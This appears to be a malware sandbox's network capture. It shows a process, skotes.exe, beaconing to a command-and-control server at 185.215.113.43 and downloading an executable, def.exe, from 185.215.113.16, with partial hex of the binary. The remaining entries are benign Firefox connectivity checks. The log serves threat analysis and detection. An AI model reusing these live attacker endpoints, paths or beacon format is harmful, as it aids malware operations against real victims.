Nov 18, 2024 21:05:22.539505005 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50172	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:24.062659979 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:05:24.978673935 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	50174	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:25.290107965 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 18, 2024 21:05:26.214730024 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:26 GMT Content-Type: application/octet-stream Content-Length: 2800640 Last-Modified: Mon, 18 Nov 2024 19:16:16 GMT Connection: keep-alive ETag: "673b9280-2abc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 f3 b7 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `++`Ui` @ @.rsrc`2@.idata 8@vzknjvsv`\:@vkrybwpr +@.taggant@ +"@
Nov 18, 2024 21:05:26.214749098 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:05:26.214759111 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:05:26.214792013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:05:26.214802980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:05:26.214819908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:05:26.214833975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:05:26.214890003 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:05:26.214903116 CET	1236	IN	Data Raw: 3c f6 7e 87 46 f9 b1 a8 5a de af 55 58 f4 8d 7c 23 f6 8b 7f a5 37 97 4b 83 57 b4 ba 43 03 99 78 10 a8 92 85 84 05 77 c1 78 a8 44 ab 6e d7 85 1b 1a 5d 06 49 10 0b a3 5b 65 fd 8a 51 0c fc 8f 1f 26 34 3c b2 60 0a 8f 66 75 a9 49 98 20 00 84 80 45 0f Data Ascii: <~FZUX\|#7KWCxwxDn]I[eQ&4<`fuI EcXq(+1bEAkc=PX5Z"wgs?urONeoYX=LMZ]zXXp5BvNS{}lM0;kEox"Q
Nov 18, 2024 21:05:26.214915037 CET	1236	IN	Data Raw: dc 8e 2c ad ff fd ee 83 12 bf 4d 72 53 df 08 ad 8a ed 98 86 d8 a3 a0 86 2c de 56 86 5a 59 b9 81 c0 ee 51 ba 2c be b7 aa 47 ce 8d 9a d7 0a 49 a2 02 03 f9 df 4d ae b7 fa eb c5 20 b1 5a 03 51 87 bb 7e 84 65 f7 a3 ea 32 e8 83 b1 86 79 ef 8e 67 68 16 Data Ascii: ,MrS,VZYQ,GIM ZQ~e2yghQhWNG\|&i7X\|4sgzbdHPTSR__/.SSWZz];zQ(^rAREz!
Nov 18, 2024 21:05:26.219777107 CET	1236	IN	Data Raw: 08 97 f1 1b 38 08 f2 d3 15 54 56 92 63 19 ec 6a 14 5f fa 6f 02 c2 01 9f b8 ac b8 55 fc ae c2 12 57 11 06 63 5a c7 f9 8e 20 60 97 b1 fe d0 c8 87 07 0b d9 81 1b a9 42 0f ce 80 b7 22 cc 11 c5 a6 32 7c f7 77 4e b6 7c 69 46 fd 5f 8e 6b 78 c9 a6 20 4b Data Ascii: 8TVcj_oUWcZ `B"2\|wN\|iF_kx KRTs$K-d8(-p1)Iwb9Z@W8n-UE+F"V'" H~n\2,ZlJnIQBr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50175	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:26.622235060 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:05:27.533318043 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50176	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:29.063638926 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:05:29.974140882 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50177	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:31.604021072 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:05:32.523861885 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50178	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:34.051609993 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:05:34.985480070 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50180	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:36.605094910 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:05:37.529508114 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50183	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:39.053741932 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:05:39.983884096 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	50189	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:40.619599104 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:41.223488092 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49406 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:05:41.396399021 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:41.522516966 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49406 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:05:41.567966938 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:41.702336073 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49406 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:05:41.740025043 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:41.866630077 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49406 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:05:41.969978094 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:42.097668886 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49407 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:05:42.277615070 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:42.405287981 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49407 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:05:42.588356972 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:42.715089083 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49407 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:05:42.968739986 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:43.095554113 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49408 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:05:47.953437090 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:48.081001997 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49413 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:05:58.121320963 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:05:58.950208902 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:59.080593109 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49424 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:06:09.135863066 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:06:10.683655024 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
